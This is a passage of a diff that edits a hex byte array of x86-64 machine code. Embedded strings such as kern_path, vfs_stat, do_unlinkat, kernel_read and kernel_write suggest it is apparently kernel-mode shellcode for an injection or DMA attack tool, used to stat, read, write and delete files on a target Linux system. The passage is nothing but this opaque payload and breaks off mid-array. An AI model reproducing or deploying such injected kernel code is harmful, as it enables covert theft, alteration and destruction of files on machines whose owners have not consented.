0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, + 0x55, 0x98, 0xc7, 0x45, 0x98, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0x9c, 0x5f, 0x70, 0x61, 0x74, + 0x66, 0xc7, 0x45, 0xa0, 0x68, 0x00, 0xe8, 0x47, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x78, 0x48, + 0x8d, 0x54, 0x24, 0x48, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x48, 0x70, 0x61, 0x74, 0x68, + 0xc7, 0x44, 0x24, 0x4c, 0x5f, 0x70, 0x75, 0x74, 0x40, 0x88, 0x74, 0x24, 0x50, 0xe8, 0x20, 0xfd, + 0xff, 0xff, 0x48, 0x89, 0x83, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0x18, 0x48, 0x8b, 0x4f, + 0x10, 0xc7, 0x45, 0x18, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0x1c, 0x67, 0x65, 0x74, 0x61, 0xc7, + 0x45, 0x20, 0x74, 0x74, 0x72, 0x5f, 0xc7, 0x45, 0x24, 0x6e, 0x6f, 0x73, 0x65, 0x66, 0xc7, 0x45, + 0x28, 0x63, 0x00, 0xe8, 0xea, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x83, 0x88, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x54, 0x24, 0x58, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x58, 0x76, 0x66, 0x73, 0x5f, + 0xc7, 0x44, 0x24, 0x5c, 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x60, 0xe8, 0xc0, 0xfc, + 0xff, 0xff, 0x48, 0x89, 0x43, 0x58, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0x4f, 0x10, 0xc7, + 0x44, 0x24, 0x20, 0x67, 0x65, 0x74, 0x6e, 0xc7, 0x44, 0x24, 0x24, 0x61, 0x6d, 0x65, 0x00, 0xe8, + 0x9e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x60, 0x48, 0x8d, 0x55, 0x08, 0x48, 0x8b, 0x4f, 0x10, + 0xc7, 0x45, 0x08, 0x67, 0x65, 0x74, 0x6e, 0xc7, 0x45, 0x0c, 0x61, 0x6d, 0x65, 0x5f, 0xc7, 0x45, + 0x10, 0x6b, 0x65, 0x72, 0x6e, 0x66, 0xc7, 0x45, 0x14, 0x65, 0x6c, 0x40, 0x88, 0x75, 0x16, 0xe8, + 0x6e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x68, 0x48, 0x8d, 0x55, 0xd8, 0x48, 0x8b, 0x4f, 0x10, + 0xc7, 0x45, 0xd8, 0x64, 0x6f, 0x5f, 0x75, 0xc7, 0x45, 0xdc, 0x6e, 0x6c, 0x69, 0x6e, 0xc7, 0x45, + 0xe0, 0x6b, 0x61, 0x74, 0x00, 0xe8, 0x48, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x70, 0x48, 0x39, + 0x73, 0x58, 0x75, 0x0b, 0x48, 0x39, 0x73, 0x60, 0x74, 0x62, 0x48, 0x85, 0xc0, 0x74, 0x5d, 0x48, + 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0xe8, 0xc7, 0x45, 0xe8, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, + 0xec, 0x65, 0x6c, 0x5f, 0x72, 0xc7, 0x45, 0xf0, 0x65, 0x61, 0x64, 0x00, 0xe8, 0x11, 0xfc, 0xff, + 0xff, 0x48, 0x89, 0x83, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xf8, 0x48, 0x8b, 0x4f, 0x10, + 0xc7, 0x45, 0xf8, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0xfc, 0x65, 0x6c, 0x5f, 0x77, 0xc7, 0x45, + 0x00, 0x72, 0x69, 0x74, 0x65, 0x40, 0x88, 0x75, 0x04, 0xe8, 0xe4, 0xfb, 0xff, 0xff, 0x48, 0x89, + 0x83, 0x98, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, + 0x9c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xd0, 0x01, 0x00, 0x00, 0x5f, 0x5e, 0x5d, + 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0xb9, 0xff, + 0x01, 0x00, 0x00, 0x49, 0x8d, 0x50, 0x18, 0x48, 0x8b, 0x4b, 0x18, 0x45, 0x8d, 0x41, 0x42, 0xe8, + 0x9e, 0xfb, 0xff, 0xff, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, + 0xc1, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x11, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33, + 0xc0, 0x48, 0x8b, 0xd0, 0xe8, 0x79, 0xfb, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, + 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x4a, 0x58, 0x48, 0x8b, + 0xda, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x49, 0x8d, 0x50, 0x18, 0xe8, + 0x4e, 0xfb, 0xff, 0xff, 0xeb, 0x3a, 0x48, 0x8b, 0x4a, 0x68, 0x48, 0x85, 0xc9, 0x74, 0x07, 0x48, + 0x83, 0x7a, 0x70, 0x00, 0x75, 0x10, 0x48, 0x8b, 0x4a, 0x60, 0x48, 0x85, 0xc9, 0x74, 0x21, 0x48, + 0x83, 0x7a, 0x70, 0x00, 0x74, 0x1a, 0x49, 0x8d, 0x50, 0x18, 0xe8, 0x23, 0xfb, 0xff, 0xff, 0x48, + 0x8b, 0x4b, 0x70, 0x4c, 0x8b, 0xc0, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0x12, 0xfb, 0xff, 0xff, + 0x48, 0xf7, 0xd8, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50, - 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x04, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0x81, - 0xf6, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, - 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x61, 0x48, 0x8b, 0x8b, 0x90, - 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x75, 0x04, 0x48, 0x8b, 0x4b, 0x20, 0x4c, 0x8b, 0x87, 0x08, - 0x02, 0x00, 0x00, 0x48, 0x8d, 0x85, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x03, 0x47, 0x28, 0x48, 0x8b, - 0xd6, 0x4c, 0x8b, 0x8f, 0x10, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x32, 0xf6, - 0xff, 0xff, 0x48, 0x89, 0x87, 0x00, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x10, - 0x48, 0x8b, 0xd6, 0xe8, 0x1c, 0xf6, 0xff, 0xff, 0x48, 0x8b, 0x87, 0x00, 0x02, 0x00, 0x00, 0x48, - 0x39, 0x87, 0x10, 0x02, 0x00, 0x00, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, - 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x30, - 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, - 0x83, 0xec, 0x30, 0x49, 0x8b, 0xd8, 0x48, 0x8b, 0xfa, 0x4d, 0x8b, 0x40, 0x10, 0x45, 0x33, 0xc9, - 0x49, 0xc1, 0xe0, 0x03, 0x41, 0x81, 0xe0, 0x00, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x18, 0x48, - 0x8d, 0x53, 0x18, 0x49, 0x81, 0xc8, 0x01, 0x00, 0x04, 0x00, 0xe8, 0xb5, 0xf5, 0xff, 0xff, 0x48, + 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50, + 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x05, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0xcf, + 0xfa, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0x48, 0x3b, 0xf0, 0x76, 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x8a, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x0d, 0x9a, 0x00, 0x00, 0x00, 0xe8, 0xfd, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x38, 0x4c, + 0x8d, 0x05, 0x01, 0xfb, 0xff, 0xff, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x89, 0x44, 0x24, + 0x20, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x89, 0x7c, 0x24, 0x30, 0x48, 0x89, 0x6c, 0x24, 0x40, + 0x48, 0x85, 0xc9, 0x74, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x70, 0xfa, + 0xff, 0xff, 0xeb, 0x16, 0x48, 0x8b, 0x4b, 0x40, 0x48, 0x85, 0xc9, 0x74, 0x14, 0x4c, 0x8d, 0x4c, + 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x58, 0xfa, 0xff, 0xff, 0x48, 0x89, 0x87, 0x28, 0x02, 0x00, + 0x00, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6, 0xe8, 0x42, 0xfa, 0xff, 0xff, + 0x48, 0x8b, 0x4b, 0x30, 0xe8, 0x39, 0xfa, 0xff, 0xff, 0x4c, 0x8b, 0xc5, 0x48, 0x8b, 0xd3, 0x48, + 0x8b, 0xcf, 0xe8, 0xed, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, + 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x4c, + 0x8b, 0x51, 0x10, 0x33, 0xf6, 0x44, 0x8b, 0xde, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x49, 0x39, + 0xb2, 0x78, 0x03, 0x00, 0x00, 0x49, 0x8b, 0x82, 0x00, 0x02, 0x00, 0x00, 0x41, 0x0f, 0x95, 0xc3, + 0x4c, 0x8d, 0x88, 0x40, 0x02, 0x00, 0x00, 0x4d, 0x3b, 0x8a, 0x10, 0x02, 0x00, 0x00, 0x77, 0x7e, + 0x49, 0x8b, 0x8a, 0x08, 0x02, 0x00, 0x00, 0x49, 0x03, 0x4a, 0x28, 0x8b, 0x54, 0x24, 0x30, 0x48, + 0x03, 0xc8, 0x8d, 0x46, 0x04, 0x3b, 0xd0, 0x74, 0x1e, 0x44, 0x8d, 0x4e, 0x08, 0x41, 0x3b, 0xd1, + 0x74, 0x0c, 0x83, 0xfa, 0x0a, 0x41, 0x0f, 0x45, 0xc1, 0x48, 0x89, 0x01, 0xeb, 0x10, 0x48, 0xc7, + 0x01, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x07, 0x48, 0xc7, 0x01, 0x02, 0x00, 0x00, 0x00, 0x4d, 0x63, + 0xc8, 0x48, 0x8b, 0xd6, 0x45, 0x85, 0xc0, 0x74, 0x21, 0x4c, 0x8d, 0x41, 0x38, 0x48, 0x81, 0xfa, + 0x03, 0x01, 0x00, 0x00, 0x73, 0x14, 0x0f, 0xb6, 0x04, 0x3a, 0x48, 0xff, 0xc2, 0x66, 0x41, 0x89, + 0x00, 0x49, 0x83, 0xc0, 0x02, 0x49, 0x3b, 0xd1, 0x72, 0xe3, 0x66, 0x89, 0x74, 0x51, 0x38, 0x48, + 0x8b, 0x43, 0x10, 0x48, 0x81, 0x80, 0x00, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b, + 0x5c, 0x24, 0x08, 0x41, 0x8b, 0xc3, 0x48, 0x8b, 0x74, 0x24, 0x10, 0x48, 0x8b, 0x7c, 0x24, 0x18, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xa8, 0x68, + 0xf5, 0xff, 0xff, 0x48, 0x81, 0xec, 0x70, 0x0b, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x48, 0xb8, 0x8f, + 0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, 0xe9, 0x48, 0xf7, 0xa1, + 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x60, 0x41, 0x8b, 0xd9, 0x4c, 0x8b, 0xf2, 0x49, 0xc1, + 0xee, 0x09, 0x4c, 0x2b, 0xc0, 0x49, 0x8d, 0x04, 0x18, 0x8a, 0x4c, 0x05, 0x78, 0x84, 0xc9, 0x74, + 0x10, 0x88, 0x4c, 0x1d, 0x60, 0x48, 0xff, 0xc3, 0x48, 0x81, 0xfb, 0x04, 0x01, 0x00, 0x00, 0x72, + 0xe4, 0x48, 0x85, 0xdb, 0x74, 0x0f, 0x80, 0x7c, 0x1d, 0x5f, 0x2f, 0x74, 0x08, 0xc6, 0x44, 0x1d, + 0x60, 0x2f, 0x48, 0xff, 0xc3, 0x4d, 0x89, 0xb5, 0x30, 0x02, 0x00, 0x00, 0x4d, 0x8b, 0xf9, 0x4d, + 0x85, 0xf6, 0x0f, 0x84, 0x01, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x60, 0x4c, 0x89, 0x8d, 0xa0, + 0x0a, 0x00, 0x00, 0x4c, 0x03, 0xc3, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xbd, 0x08, 0x02, 0x00, 0x00, + 0x49, 0x8b, 0xc9, 0x49, 0x03, 0x7d, 0x28, 0x49, 0x03, 0xfc, 0x48, 0x8d, 0x57, 0x38, 0x66, 0x44, + 0x3b, 0x0a, 0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88, 0x04, 0x08, 0x48, 0xff, + 0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe4, 0x48, 0x8d, 0x04, 0x19, 0x44, 0x88, + 0x4c, 0x05, 0x60, 0x48, 0x8b, 0x46, 0x50, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xea, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x4e, 0x78, 0x48, 0x85, 0xc9, 0x74, 0x6a, 0x4c, 0x39, 0x8e, 0x88, 0x00, 0x00, 0x00, + 0x74, 0x61, 0x4c, 0x8d, 0x8d, 0x70, 0x02, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0x48, + 0x8d, 0x55, 0x60, 0xe8, 0x2a, 0xf8, 0xff, 0xff, 0x45, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, 0x85, + 0x1e, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8e, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xb0, 0x4c, + 0x89, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x95, 0x70, 0x02, 0x00, 0x00, 0x41, 0xb9, 0xff, 0x07, 0x00, + 0x00, 0xe8, 0xfc, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x8e, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0, + 0x48, 0x85, 0xc9, 0x74, 0x39, 0x48, 0x8d, 0x95, 0x70, 0x02, 0x00, 0x00, 0xe8, 0xe1, 0xf7, 0xff, + 0xff, 0xeb, 0x2b, 0x48, 0x8d, 0x4d, 0xb0, 0xc7, 0x44, 0x24, 0x28, 0xff, 0x07, 0x00, 0x00, 0x48, + 0x89, 0x4c, 0x24, 0x20, 0x4c, 0x8d, 0x45, 0x60, 0x48, 0x8b, 0xc8, 0x41, 0xb9, 0x00, 0x08, 0x00, + 0x00, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0xb7, 0xf7, 0xff, 0xff, 0x4c, 0x8b, 0xe0, 0x4d, 0x85, + 0xe4, 0x4c, 0x8b, 0xa5, 0xa0, 0x0a, 0x00, 0x00, 0x0f, 0x85, 0xa4, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x45, 0xe8, 0x49, 0xba, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x30, + 0x48, 0x8b, 0x4d, 0xf0, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, + 0x47, 0x08, 0x48, 0x8b, 0x4d, 0x10, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, + 0x48, 0x89, 0x47, 0x18, 0x48, 0x8b, 0x4d, 0x00, 0xeb, 0x5a, 0x48, 0x8b, 0x4e, 0x48, 0x48, 0x85, + 0xc9, 0x74, 0x5f, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x48, 0x8d, 0x55, 0x60, 0xe8, 0x51, 0xf7, 0xff, + 0xff, 0x48, 0x85, 0xc0, 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x49, 0xba, 0x00, 0x91, 0x10, + 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x49, 0x03, + 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x08, 0x48, 0x8b, 0x4c, 0x24, + 0x78, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x18, 0x48, + 0x8b, 0x4c, 0x24, 0x68, 0x49, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, + 0x47, 0x10, 0x48, 0xb8, 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47, 0x49, 0xf7, 0xe7, 0x49, + 0x8b, 0xc7, 0x48, 0x2b, 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2, 0x48, 0xc1, 0xe8, 0x05, 0x48, + 0x6b, 0xc8, 0x32, 0x4c, 0x3b, 0xf9, 0x75, 0x09, 0x48, 0x8b, 0x4e, 0x30, 0xe8, 0xd1, 0xf6, 0xff, + 0xff, 0x49, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x60, 0x49, 0xff, 0xc7, 0x4c, + 0x89, 0xa5, 0xa0, 0x0a, 0x00, 0x00, 0x4d, 0x8d, 0x04, 0x18, 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00, + 0x4d, 0x3b, 0xfe, 0x0f, 0x82, 0x10, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x70, 0x0b, 0x00, + 0x00, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x73, 0x40, 0x49, 0x8b, 0x7b, 0x48, 0x49, 0x8b, 0xe3, + 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30, + 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9, + 0x41, 0xb8, 0x00, 0x00, 0x04, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0x53, 0xf6, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, - 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x4e, 0x48, 0x8b, 0x8f, 0x98, 0x00, 0x00, 0x00, 0x48, - 0x85, 0xc9, 0x75, 0x04, 0x48, 0x8b, 0x4f, 0x28, 0x4c, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, - 0x8d, 0x83, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x38, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44, - 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x6a, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x4f, 0x10, 0x45, 0x33, - 0xc0, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xd8, 0xe8, 0x58, 0xf5, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b, - 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, - 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x81, 0xec, 0xc0, 0x00, 0x00, - 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0xc2, 0xf5, 0xff, 0xff, 0x85, 0xc0, - 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0xf0, 0xe9, 0xa6, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x83, 0x08, - 0x01, 0x00, 0x00, 0x4c, 0x03, 0x43, 0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, - 0x00, 0x00, 0x0f, 0x82, 0x85, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 0x20, - 0xe7, 0x79, 0x49, 0x39, 0x00, 0x75, 0x76, 0x41, 0xf6, 0x40, 0x10, 0x10, 0x75, 0x6f, 0x49, 0x8b, - 0x40, 0x08, 0x48, 0x83, 0xf8, 0x01, 0x75, 0x11, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, - 0xe8, 0xa7, 0xf9, 0xff, 0xff, 0x8b, 0xc0, 0xeb, 0x59, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x0f, 0x48, - 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x04, 0xfe, 0xff, 0xff, 0xeb, 0xe7, 0x48, 0x83, - 0xf8, 0x02, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0xfe, 0xff, - 0xff, 0xeb, 0xd2, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, - 0xcb, 0xe8, 0xaa, 0xf8, 0xff, 0xff, 0xeb, 0xbd, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x1b, 0x48, 0x8d, - 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xe5, 0xf8, 0xff, 0xff, 0xeb, 0xa8, 0xb8, 0x06, 0x00, - 0x00, 0xf0, 0x48, 0x89, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xc0, 0x00, 0x00, 0x00, - 0x5b, 0xc3, 0x00 + 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x61, 0x48, 0x8b, 0x8b, 0x90, 0x00, 0x00, 0x00, 0x48, + 0x85, 0xc9, 0x75, 0x04, 0x48, 0x8b, 0x4b, 0x20, 0x4c, 0x8b, 0x87, 0x08, 0x02, 0x00, 0x00, 0x48, + 0x8d, 0x85, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x03, 0x47, 0x28, 0x48, 0x8b, 0xd6, 0x4c, 0x8b, 0x8f, + 0x10, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x04, 0xf6, 0xff, 0xff, 0x48, 0x89, + 0x87, 0x00, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0xd6, 0xe8, + 0xee, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x87, 0x00, 0x02, 0x00, 0x00, 0x48, 0x39, 0x87, 0x10, 0x02, + 0x00, 0x00, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, + 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x30, 0x49, + 0x8b, 0xd8, 0x48, 0x8b, 0xfa, 0x4d, 0x8b, 0x40, 0x10, 0x45, 0x33, 0xc9, 0x49, 0xc1, 0xe0, 0x03, + 0x41, 0x81, 0xe0, 0x00, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8d, 0x53, 0x18, 0x49, + 0x81, 0xc8, 0x01, 0x00, 0x04, 0x00, 0xe8, 0x87, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00, + 0x00, 0xf0, 0xeb, 0x4e, 0x48, 0x8b, 0x8f, 0x98, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x75, 0x04, + 0x48, 0x8b, 0x4f, 0x28, 0x4c, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x83, 0x28, 0x03, + 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x38, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b, + 0xd6, 0xe8, 0x3c, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x4f, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6, + 0x48, 0x8b, 0xd8, 0xe8, 0x2a, 0xf5, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b, 0xc0, 0x25, 0x05, 0x00, + 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x30, + 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x81, 0xec, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, + 0x24, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0xba, 0xf5, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, + 0x00, 0x00, 0xf0, 0xe9, 0xa6, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x83, 0x08, 0x01, 0x00, 0x00, 0x4c, + 0x03, 0x43, 0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x0f, 0x82, + 0x85, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 